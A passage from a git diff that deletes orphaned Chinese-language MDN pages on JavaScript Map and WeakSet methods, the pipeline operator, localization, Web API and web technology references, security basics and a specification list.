方法</h3> - -<pre class="brush: js">var myMap = new Map(); - -// 将一个新元素添加到 Map 对象 -myMap.set("bar", "foo"); -myMap.set(1, "foobar"); - -// 在Map对象中更新某个元素的值 -myMap.set("bar", "baz"); -</pre> - -<h3 id="链式使用_set_方法">链式使用 <code>set</code> 方法</h3> - -<p>因为 Set() 方法返回 Map 对象本身,所以你可以像下面这样链式调用它:</p> - -<pre class="brush: js">// Add new elements to the map with chaining. -myMap.set('bar', 'foo') - .set(1, 'foobar') - .set(2, 'baz'); -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("javascript.builtins.Map.set")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{jsxref("Map")}}</li> - <li>{{jsxref("Map.prototype.get()")}}</li> - <li>{{jsxref("Map.prototype.has()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/size/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/size/index.html deleted file mode 100644 index 585d04f70a..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/size/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Map.prototype.size -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/size -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Map/size -original_slug: Web/JavaScript/Reference/Global_Objects/Map/size ---- -<div>{{JSRef}}<br> - </div> - -<p><code><strong>size</strong></code> 是可访问属性,用于返回 一个{{jsxref("Map")}} 对象的成员数量。</p> - -<p>{{EmbedInteractiveExample("pages/js/map-prototype-size.html")}}</p> - -<p>这个示例源码保存在GitHub:<a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>。如果你想贡献代码,修改后在GitHub上发推送请求给我们。</p> - -<p> </p> - -<h2 id="描述">描述</h2> - -<p>size 属性的值是一个整数,表示 Map 对象有多少个键值对。size 是只读属性,用set 方法修改size返回 undefined,即不能改变它的值。</p> - -<h2 id="示例">示例</h2> - -<pre class="brush:js">var myMap = new Map(); -myMap.set("a", "alpha"); -myMap.set("b", "beta"); -myMap.set("g", "gamma"); - -myMap.size // 3 -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容">浏览器兼容</h2> - -<p>此页的兼容性表格请查阅:<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <br> - 如果你想更新数据,请在GitHub上给我们发推送请求。</p> - -<div class="blockIndicator warning"> -<p><strong>异常提醒</strong></p> -</div> - -<ul> - <li>在JavaScript中直接书写Map.prototype.size可能得到以下异常:<br> - <code>Uncaught TypeError: Method get Map.prototype.size called on incompatible receiver #<Map></code><br> - 异常原因查看:<a href="/zh-CN/docs/">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Called_on_incompatible_type</a></li> -</ul> - -<h2 id="相关阅读">相关阅读</h2> - -<ul> - <li>{{jsxref("Map")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/values/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/values/index.html deleted file mode 100644 index 29fad63c96..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/values/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Map.prototype.values() -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/values -translation_of: Web/JavaScript/Reference/Global_Objects/Map/values -original_slug: Web/JavaScript/Reference/Global_Objects/Map/values ---- -<div><code><strong>values()</strong></code> 方法返回一个新的Iterator对象。它包含按顺序插入Map对象中每个元素的value值。</div> - -<div> </div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><code><em>myMap</em>.values()</code></pre> - -<h3 id="返回值">返回值</h3> - -<p>一个新的 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Map" title="此页面仍未被本地化, 期待您的翻译!"><code>Map</code></a> 可迭代对象.</p> - -<h2 id="例子">例子</h2> - -<h3 id="使用_values()"><code>使用 values()</code></h3> - -<pre class="brush:js">var myMap = new Map(); -myMap.set("0", "foo"); -myMap.set(1, "bar"); -myMap.set({}, "baz"); - -var mapIter = myMap.values(); - -console.log(mapIter.next().value); // "foo" -console.log(mapIter.next().value); // "bar" -console.log(mapIter.next().value); // "baz"</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-map.prototype.values', 'Map.prototype.values')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>初始定义</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>38</td> - <td>{{ CompatGeckoDesktop("20") }}</td> - <td>{{CompatNo}}</td> - <td>25</td> - <td>7.1</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>38</td> - <td>{{ CompatGeckoMobile("20") }}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>8</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="查看">查看</h2> - -<ul> - <li>{{jsxref("Map.prototype.entries()")}}</li> - <li>{{jsxref("Map.prototype.keys()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/weakset/clear/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/weakset/clear/index.html deleted file mode 100644 index de4ef6da94..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/weakset/clear/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: WeakSet.prototype.clear() -slug: orphaned/Web/JavaScript/Reference/Global_Objects/WeakSet/clear -tags: - - JavaScript - - Method - - WeakSet - - 废弃 -translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/clear -original_slug: Web/JavaScript/Reference/Global_Objects/WeakSet/clear ---- -<div>{{JSRef}} {{obsolete_header}}</div> - -<p><code><strong>clear()</strong></code> 方法用于删除 <code>WeakSet</code> 对象的所有元素,但是已经不是 ECMAScript 的一部分了。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><em>ws</em>.clear();</pre> - -<h2 id="示例">示例</h2> - -<h3 id="使用_clear方法">使用 <code>clear方法</code></h3> - -<pre class="brush: js example-bad">var ws = new WeakSet(); - -ws.add(window); -ws.has(window); // true - -ws.clear(); - -ws.has(window); // false -</pre> - -<h2 id="规范">规范</h2> - -<p>没有规范或草案。该方法原本计划包括在 ECMAScript 6,但是在草案 revision 28 (October 14, 2014) 被抛弃了。浏览器原先的实现不久后也被移除了,它从来不是标准的一分子。</p> - -<h2 id="浏览器支持">浏览器支持</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>36</td> - <td>{{CompatNo}} [1]</td> - <td>{{CompatNo}}</td> - <td>23</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}} [1]</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Added to Firefox in version 34, but removed in version 46. See {{bug(1101817)}}.</p> - -<h2 id="相关">相关</h2> - -<ul> - <li>{{jsxref("WeakSet")}}</li> - <li>{{jsxref("WeakSet.prototype.delete()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/operators/pipeline_operator/index.html b/files/zh-cn/orphaned/web/javascript/reference/operators/pipeline_operator/index.html deleted file mode 100644 index 12c3b6fbb3..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/operators/pipeline_operator/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: 管道操作符 -slug: orphaned/Web/JavaScript/Reference/Operators/Pipeline_operator -tags: - - Experimental - - JavaScript - - Operator - - 语法糖 - - 链式 - - 链式调用 -translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator -original_slug: Web/JavaScript/Reference/Operators/Pipeline_operator ---- -<div>{{jsSidebar("Operators")}} {{SeeCompatTable}}</div> - -<p>试验性的管道操作符 <code>|></code> (目前其标准化流程处于 stage 1 阶段)允许以一种易读的方式去对函数链式调用。本质上来说,管道操作符是单参数函数调用的语法糖,它允许你像这样执行一个调用:</p> - -<pre class="brush: js">let url = "%21" |> decodeURI;</pre> - -<p>使用传统语法写的话,等效的代码是这样的:</p> - -<pre class="brush: js">let url = decodeURI("%21"); -</pre> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">expression |> function</pre> - -<h2 id="例子">例子</h2> - -<h3 id="函数链式调用">函数链式调用</h3> - -<p>当链式调用多个函数时,使用管道操作符可以改善代码的可读性。</p> - -<pre class="brush: js">const double = (n) => n * 2; -const increment = (n) => n + 1; - -// 没有用管道操作符 -double(increment(double(5))); // 22 - -// 用上管道操作符之后 -5 |> double |> increment |> double; // 22 -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="http://tc39.github.io/proposal-pipeline-operator/">Pipeline operator draft</a></td> - <td>Stage 1</td> - <td>Not part of the ECMAScript specification yet.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性Edit">浏览器兼容性<a class="button section-edit only-icon" href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators$edit#浏览器兼容性" rel="nofollow, noindex"><span>Edit</span></a></h2> - -<div> - - -<p>{{Compat("javascript.operators.pipeline")}}</p> -</div> - -<h2 id="参见">参见</h2> - -<ul> - <li>GitHub 上的 <a href="https://github.com/tc39/proposals">TC39/proposals</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/localization/index.html b/files/zh-cn/orphaned/web/localization/index.html deleted file mode 100644 index 77530dce74..0000000000 --- a/files/zh-cn/orphaned/web/localization/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: 本地化和全球化 -slug: orphaned/Web/Localization -translation_of: Web/Localization -original_slug: Web/Localization ---- -<p class="summary"><strong><a href="https://developer.mozilla.org/en-US/docs/Glossary/Localization" title="本地化:本地化(l10n)是使软件用户界面适应特定文化的过程。"><font><font>本地化</font></font></a></strong><font><font>(通常缩写为</font></font><strong><font><font> L10n</font></font></strong><font><font>)能够使网站、Web应用或任何其他形式的内容适用于特定语言的范围和文化圈。</font></font><strong><a href="https://developer.mozilla.org/en-US/docs/Glossary/Internationalization" title="国际化:REDIRECT I18N"><font><font>国际化</font></font></a></strong><font><font>(通常缩写为</font></font><strong><font><font> I18n</font></font></strong><font><font>)被设计用来使网站或应用程序尽可能的实现本地化。</font></font></p> - -<div class="column-container"> -<div class="column-half"> -<h2 id="指南和教程">指南和教程</h2> - -<p>指南和教程可帮助您学习如何确保您的项目已准备好全球化,以及如何将其本地化。</p> - -<dl> - <dt>国际化概念</dt> - <dd>概述什么是国际化(i18n)以及可用于Web开发人员的哪些功能和技术可用于确保您的内容准备好进行本地化。</dd> - <dt>本地化简介</dt> - <dd>关于本地化网站或应用程序的入门指南,从确定需要检查和可能更改的因素到实际应用所需的更改。</dd> - <dt><a href="/en-US/docs/Web/Localization_and_Internationalization/Unicode_Bidirectional_Text_Algorithm">Unicode双向文本算法</a>(译者注:尚未翻译)</dt> - <dd>Unicode双向算法是用于确定Unicode文本的呈现顺序的标准算法,而Web浏览器在呈现内容时使用它。 本概述将使您对{{Glossary("BiDi")}}算法及其对您的国际化工作有何影响。</dd> -</dl> -</div> - -<div class="column-half"> -<h2 id="参考">参考</h2> - -<p>参考资料将在您创建可本地化的站点时提供帮助。</p> - -<dl> - <dt>可用于i18n和l10n的HTML元素</dt> - <dd>对HTML提供的元素的引用,这些元素可用于创建准备本地化的内容。</dd> - <dt>CSS和本地化</dt> - <dd>对CSS属性的参考,在生成支持10n的内容时特别重要。</dd> -</dl> -</div> -</div> diff --git a/files/zh-cn/orphaned/web/reference/api/index.html b/files/zh-cn/orphaned/web/reference/api/index.html deleted file mode 100644 index 7776447853..0000000000 --- a/files/zh-cn/orphaned/web/reference/api/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Web API 参考 -slug: orphaned/Web/Reference/API -tags: - - API - - Web - - 参考 -translation_of: Web/Reference/API -original_slug: Web/Reference/API ---- -<p><span class="seoSummary">Web 提供了各种各样的 API 来完成各种的任务。这些 API 可以用 JavaScript 来访问,令你可以做很多事儿,小到对任意 {{domxref("window")}} 或者 {{domxref("element")}}做小幅调整,大到使用诸如 <a href="/zh-CN/docs/Web/WebGL">WebGL</a> 和 <a href="/zh-CN/docs/Web/API/Web_Audio_API">Web Audio</a> 的 API 来生成复杂的图形和音效。 </span></p> - -<p>所有 API 的接口都罗列在了 <a href="/zh-CN/docs/Web/API">Web API 接口一览表</a>一页。</p> - -<p>类似的,还有一个列出了<a href="/zh-CN/docs/Web/Events">所有事件类型</a>的页面。</p> - -<div class="cleared topicpage-table"> -<div class="section"> -<dl> - <dt><a href="/zh-CN/docs/Web/API/Document_Object_Model">文档对象模型(</a><a href="https://developer.mozilla.org/en-US/docs/DOM">Document Object Model</a><a href="/zh-CN/docs/Web/API/Document_Object_Model">)</a></dt> - <dd>DOM 是一个 可以访问和修改当前文档的 API。通过它可以操作文档里的{{domxref("Node")}}和{{domxref("Element")}}。HTML,XML 和 SVG 都扩展了基本的 DOM 接口来操作它们各自私有的元素类型。</dd> - <dt>设备 API(Device APIs)</dt> - <dd>这一组 API 可以让网页和应用程序使用各种硬件资源。如:<a href="/zh-CN/docs/Web/API/DeviceLightEvent/Using_light_events">环境光感应器API</a>、<a href="/zh-CN/docs/Web/API/Battery_Status_API">电池状态 API</a>、<a href="/zh-CN/docs/Web/API/Geolocation/Using_geolocation">地理位置 API</a>、<a href="/zh-CN/docs/API/Pointer_Lock_API">指针锁定 API</a>、<a href="/zh-CN/docs/WebAPI/Proximity">距离感应 API</a>、<a href="/zh-CN/docs/Web/API/Detecting_device_orientation">设备定向 API</a>、<a href="/zh-CN/docs/WebAPI/Managing_screen_orientation">屏幕定向 API</a>、<a href="/zh-CN/docs/Web/API/Vibration_API">震动 API</a>。</dd> - <dt>通信 API(Communication APIs)</dt> - <dd>这些 API 可以让网页或应用程序和其它的网页或设备进行通信,如:<a href="/zh-CN/docs/Web/API/Network_Information_API">网络信息 API</a>、<a href="/zh-CN/docs/Web/API/notification/Using_Web_Notifications">Web 通知</a>、<a href="/zh-CN/docs/Archive/Firefox_OS/API/Simple_Push_API">简单推送 API</a>。</dd> - <dt id="Data_management_APIs">数据管理 APIs(Data management APIs)</dt> - <dd>这套 API 可以用来存储和管理用户的数据,如:<a href="/zh-CN/docs/WebAPI/FileHandle_API">文件处理 API</a>、<a href="/zh-CN/docs/IndexedDB">IndexedDB</a>。</dd> -</dl> - -<p>除了上面这些公开的,所有网页和应用程序都可以使用的 API 以外,还有一类更强大的,但只有特权应用程序和已认证应用程序能够使用的,非标准的 Mozilla 私有 API。</p> - -<dl> - <dt>特权 API(Privileged APIs)</dt> - <dd>特权应用程序是那些由用户给予了特定权限的应用程序。特权 API 包括:<a href="/zh-CN/docs/WebAPI/TCP_Socket">TCP Socket API</a>、<a href="/zh-CN/docs/WebAPI/Contacts">联系人 API</a>、<a href="/zh-CN/docs/WebAPI/Device_Storage_API">设备存储 API</a>、<a href="/zh-CN/docs/DOM/Using_the_Browser_API">浏览器 API</a>、<a href="https://developer.mozilla.org/zh-CN/docs/WebAPI/Camera">相机 API</a>。</dd> - <dt>已认证应用程序的私有 API(Certified APIs)</dt> - <dd>已认证的应用程序是那些直接与操作系统(比如 Firefox OS)打交道,执行核心操作的底层应用程序。较低特权的应用程序可以通过 <a href="/zh-CN/docs/WebAPI/Web_Activities">Web Activities</a> 调用这些底层应用程序。 这些 API 包括:<a href="/zh-CN/docs/WebAPI/WebBluetooth">蓝牙 API</a>、<a href="/zh-CN/docs/WebAPI/Mobile_Connection">手机连接 API</a>、<a href="/zh-CN/docs/WebAPI/Network_Stats">网络状态 API</a>、<a href="/zh-CN/docs/WebAPI/WebTelephony">通话 API</a>、<a href="/zh-CN/docs/WebAPI/WebSMS">短信/彩信 API</a>、<a href="/zh-CN/docs/WebAPI/WiFi_Information">WiFi 信息 API</a>、<a href="/zh-CN/docs/WebAPI/Power_Management">电源管理 API</a>、<a href="/zh-CN/docs/WebAPI/Settings">设置 API</a>、<a href="/zh-CN/docs/WebAPI/Idle">空闲状态 API</a>、<a href="/zh-CN/docs/WebAPI/Permissions">权限 API</a>、<a href="/zh-CN/docs/WebAPI/Time_and_Clock">时间/时钟 API</a>。</dd> -</dl> -</div> - -<div class="section"> -<h2 class="Community" id="社区">社区</h2> - -<p>欢迎加入我们的邮件列表或新闻组:</p> - -<ul> - <li><a class="external" href="https://lists.mozilla.org/listinfo/dev-webapi">邮件列表</a></li> - <li><a href="news://news.mozilla.org/mozilla.dev.webapi">新闻组</a></li> - <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi">Google Group</a></li> - <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi/feeds">订阅 Google Group</a></li> -</ul> - -<p>除此之外,你还可以进入 <a class="external" href="https://wiki.mozilla.org/IRC">IRC</a> 频道 <a href="irc://irc.mozilla.org/webapi">#webapi</a> 参与实时讨论。</p> - -<h2 class="Related_Topics" id="相关话题">相关话题</h2> - -<p>您可能也对这些话题感兴趣:</p> - -<ul> - <li><a href="/zh-CN/docs/Web/API">Web API 接口一览表</a></li> -</ul> -</div> -</div> diff --git a/files/zh-cn/orphaned/web/reference/index.html b/files/zh-cn/orphaned/web/reference/index.html deleted file mode 100644 index c0d55672b9..0000000000 --- a/files/zh-cn/orphaned/web/reference/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Web 技术参考 -slug: orphaned/Web/Reference -tags: - - Web - - Web开发指引 -translation_of: Web/Reference -original_slug: Web/Reference ---- -<p>开放的 Web 是由一系列的技术所构成的,为了使用这些技术我们需要有足够的知识,现在我们可以在下面找到指引我们学习这些知识的链接。</p> - -<h2 class="Documentation" id="Web_技术">Web 技术</h2> - -<h5 id="我们期望你已经对_Web_开发入门有所了解,但这并不是必要的。">我们期望你已经对 <a href="/zh-CN/docs/Learn/Getting_started_with_the_web">Web 开发入门</a>有所了解,但这并不是必要的。</h5> - -<dl> - <dt><strong><a href="/zh-CN/docs/Glossary/HTML">HTML</a></strong> — 构建 Web</dt> - <dd><strong>超文本标记语言(HTML),</strong>被用来语义化的定义以及描述一个具有良好结构的 Web页面的内容(<a href="/en-US/docs/Glossary/markup">markup</a>)。</dd> - <dd>HTML 提供了一种构建文档的方式,HTML 文档由一些被叫做 <a href="/zh-CN/docs/Web/HTML/Element">HTML元素</a> 的块构成,而 HTML 元素采用由标签名以及尖括号组成的<a href="/zh-CN/docs/Glossary/Tag">标签</a>来表示:一些标签作为内容直接写在页面中,另外的一些用来规定文档的文本信息还有一些可能包含其它的一些标签作为自己的子标签。浏览器不会显示这些标签,而是将标签视作对页面内容的解释。<br> - <br> - <a href="/zh-CN/Learn/HTML/Introduction_to_HTML">HTML介绍</a> | <a href="/zh-CN/Learn/HTML">学习HTML</a> | <a href="/zh-CN/docs/Web/Guide/HTML/HTML5">HTML5</a> |<a href="/zh-CN/docs/Web/Guide/HTML"> HTML开发者指南</a> | <a href="/zh-CN/docs/Web/HTML/Element">HTML元素参考</a> | <strong><a href="/zh-CN/docs/Web/HTML/Reference">HTML资料库</a></strong></dd> - <dt><strong><a href="/zh-CN/docs/Glossary/CSS">CSS</a></strong> — 描绘Web</dt> - <dd><strong>层叠样式表(CSS)</strong>,被用来描述 Web 页面内容的外观<br> - <br> - <a href="/zh-CN/Learn/CSS/Introduction_to_CSS">CSS介绍</a> | <a href="/zh-CN/docs/Web/Guide/CSS/Getting_started">开始CSS之旅</a> | <a href="/zh-CN/Learn/CSS">学习CSS</a> | <a href="/zh-CN/docs/Web/CSS/CSS3">CSS3 </a>| <a href="/zh-CN/docs/Web/Guide/CSS">CSS开发者指南</a> | <a href="/zh-CN/docs/Web/CSS/Common_CSS_Questions">CSS常见问题</a> | <strong><a href="/zh-CN/docs/Web/CSS/Reference">CSS资料库</a></strong></dd> - <dt><strong><a href="/zh-CN/docs/Web/JavaScript/Reference">Javascript</a></strong> — 动态客户端脚本语言</dt> - <dd><strong>JavaScript</strong>程序设计语言用于添加网站的交互性与其他动态特性。<br> - <br> - <a href="/zh-CN/docs/Learn/JavaScript">学习JavaScript</a> | <a href="/zh-CN/docs/Web/JavaScript/Guide">Javascript开发指南</a> | <a href="/zh-CN/docs/Web/JavaScript/Reference"><strong>Javascript资料库</strong></a></dd> -</dl> diff --git a/files/zh-cn/orphaned/web/security/information_security_basics/index.html b/files/zh-cn/orphaned/web/security/information_security_basics/index.html deleted file mode 100644 index 696621d962..0000000000 --- a/files/zh-cn/orphaned/web/security/information_security_basics/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: 信息安全基础 -slug: orphaned/Web/Security/Information_Security_Basics -translation_of: Web/Security/Information_Security_Basics -original_slug: Web/Security/Information_Security_Basics ---- -<p>了解安全基础知识有助于你了解整个Web开发生命周期中安全性的作用和重要性。 这将帮助你避免不必要的不安全软件,使得攻击者利用漏洞获得经济利益或其他恶意用途。以下的文章提供一些基本的Web安全理论和定义。</p> - -<dl> - <dt><a href="/en-US/Learn/Confidentiality,_Integrity,_and_Availability">机密性、完整性和可用性</a></dt> - <dd>描述了信息安全的基本目标,是理解信息安全的基础。</dd> - <dt><a href="https://developer.mozilla.org/en-US/Learn/Vulnerabilities">漏洞</a></dt> - <dd>明确主要漏洞策略以及讨论在所有软件中的存在的所有漏洞。</dd> - <dt><a href="/en-US/Learn/Threats">威胁 - Threats</a></dt> - <dd>对主要威胁概念的简单介绍。</dd> - <dt><a href="/en-US/Learn/Security_Controls">安全控制 - Security Controls</a></dt> - <dd>明确主要安全控制策略以及它们潜在的缺点。</dd> - <dt><a href="/en-US/Learn/TCP_IP_Security">TCP/IP 安全</a></dt> - <dd>TCP/IP模型的介绍,还有SSL的教程。</dd> -</dl> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li><a href="/zh-CN/docs/Mozilla/%E5%AE%89%E5%85%A8">浏览器安全 - Browser security</a></li> - <li><a href="/en-US/docs/Web/Security">网络安全 - Web security</a></li> - <li><a href="/en-US/docs/Web/Security/Securing_your_site">让您的网站变得安全 - Securing your site</a></li> - <li><a href="/en-US/docs/Security/Firefox_Security_Basics_For_Developers">火狐浏览器安全基础开发者须知 - Firefox Security Basics for Developers</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/specification_list/index.html b/files/zh-cn/orphaned/web/specification_list/index.html deleted file mode 100644 index d82cd55386..0000000000 --- a/files/zh-cn/orphaned/web/specification_list/index.html +++ /dev/null @@ -1,406 +0,0 @@ ---- -title: 规范列表 -slug: orphaned/Web/Specification_list -translation_of: Web/Specification_list -original_slug: Specification_List ---- -<p>开放式Web平台(The Open Web Platform)是由一些列的规范组成的,本页面列出了这些规范,以及规范中各个词条所在的MDN页面.</p> -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">API Introduction</th> - <th scope="col">Tutorial</th> - <th scope="col">Reference</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName("HTML WHATWG") }}</td> - <td>{{ Spec2("HTML WHATWG") }}</td> - <td> </td> - <td> - <ul> - <li>Constraint Validation</li> - <li>Microdata API</li> - <li>Browsing context (that is <code>_blank</code>, ...)</li> - <li>Session History</li> - <li>Offline Web Applications (appcache)</li> - <li>Drag and Drop</li> - </ul> - </td> - <td> - <p>The <a href="/en-US/docs/HTML/Element" title="/en-US/docs/HTML/Element">HTML Elements</a>.<br> - <em>HTML element-related interfaces:</em><br> - {{domxref("HTMLElement")}} {{domxref("HTMLUnknownElement")}} {{domxref("HTMLHtmlElement")}} {{domxref("HTMLHeadElement")}} {{domxref("HTMLTitleElement")}} {{domxref("HTMLBaseElement")}} {{domxref("HTMLLinkElement")}} {{domxref("HTMLMetaElement")}} {{domxref("HTMLStyleElement")}} {{domxref("HTMLScriptElement")}} {{domxref("HTMLBodyElement")}} {{domxref("HTMLHeadingElement")}} {{domxref("HTMLParagraphElement")}} {{domxref("HTMLHRElement")}} {{domxref("HTMLPreElement")}} {{domxref("HTMLQuoteElement")}} {{domxref("HTMLOListElement")}} {{domxref("HTMLUListElement")}} {{domxref("HTMLLIElement")}} {{domxref("HTMLDListElement")}} {{domxref("HTMLDivElement")}} {{domxref("HTMLAnchorElement")}} {{domxref("HTMLDataElement")}} {{domxref("HTMLTimeElement")}} {{domxref("HTMLSpanElement")}} {{domxref("HTMLBRElement")}} {{domxref("HTMLModElement")}} {{domxref("HTMLImageElement")}} {{domxref("HTMLIFrameElement")}} {{domxref("HTMLEmbedElement")}} {{domxref("HTMLObjectElement")}} {{domxref("HTMLParamElement")}} {{domxref("HTMLVideoElement")}} {{domxref("HTMLAudioElement")}} {{domxref("HTMLMediaElement")}} {{domxref("HTMLSourceElement")}} {{domxref("HTMLTrackElement")}} {{domxref("HTMLCanvasElement")}} {{domxref("HTMLMapElement")}} {{domxref("HTMLAreaElement")}} {{domxref("HTMLTableElement")}} {{domxref("HTMLTableCaptionElement")}} {{domxref("HTMLTableColElement")}} {{domxref("HTMLTableSectionElement")}} {{domxref("HTMLTableRowElement")}} {{domxref("HTMLTableDataCellElement")}} {{domxref("HTMLTableHeaderCellElement")}} {{domxref("HTMLFormElement")}} {{domxref("HTMLFieldSetElement")}} {{domxref("HTMLLegendElement")}} {{domxref("HTMLInputElement")}} {{domxref("HTMLButtonElement")}} {{domxref("HTMLSelectElement")}} {{domxref("HTMLDataListElement")}} {{domxref("HTMLOptGroupElement")}} {{domxref("HTMLOptionElement")}} {{domxref("HTMLTextAreaElement")}} {{domxref("HTMLKeygenElement")}} {{domxref("HTMLOutputElement")}} {{domxref("HTMLProgressElement")}} {{domxref("HTMLMeterElement")}} {{domxref("HTMLDetailsElement")}} {{domxref("HTMLMenuElement")}} {{domxref("HTMLMenuItemElement")}} {{domxref("HTMLDialogElement")}} {{domxref("HTMLAppletElement")}} (obsolete) {{domxref("HTMLMarqueeElement")}} (obsolete) {{domxref("HTMLFrameSetElement")}} (obsolete) {{domxref("HTMLFrameElement")}} (obsolete) {{domxref("HTMLDirectoryElement")}} (obsolete) {{domxref("HTMLFontElement")}} (obsolete)<br> - <em>Other DOM-related interfaces/events/... :</em><br> - {{domxref("HTMLAllCollection")}} {{domxref("HTMLFormControlsCollection")}} {{domxref("HTMLOptionsCollection")}} {{domxref("HTMLPropertiesCollection")}} {{domxref("RadioNodeList")}} {{domxref("DOMStringMap")}} {{domxref("DOMElementMap")}} {{domxref("ImageData")}} {{domxref("ImageBitmap")}} {{domxref("WindowEventHandlers")}} {{domxref("Document.location")}} {{domxref("Document.domain")}} {{domxref("Document.referrer")}} {{domxref("Document.cookie")}} {{domxref("Document.lastModified")}} {{domxref("Document.readyState")}} <code>Document getter? </code>{{domxref("Document.title")}} {{domxref("Document.dir")}} {{domxref("Document.body")}} {{domxref("Document.head")}} {{domxref("Document.images")}} {{domxref("Document.embeds")}} {{domxref("Document.plugins")}} 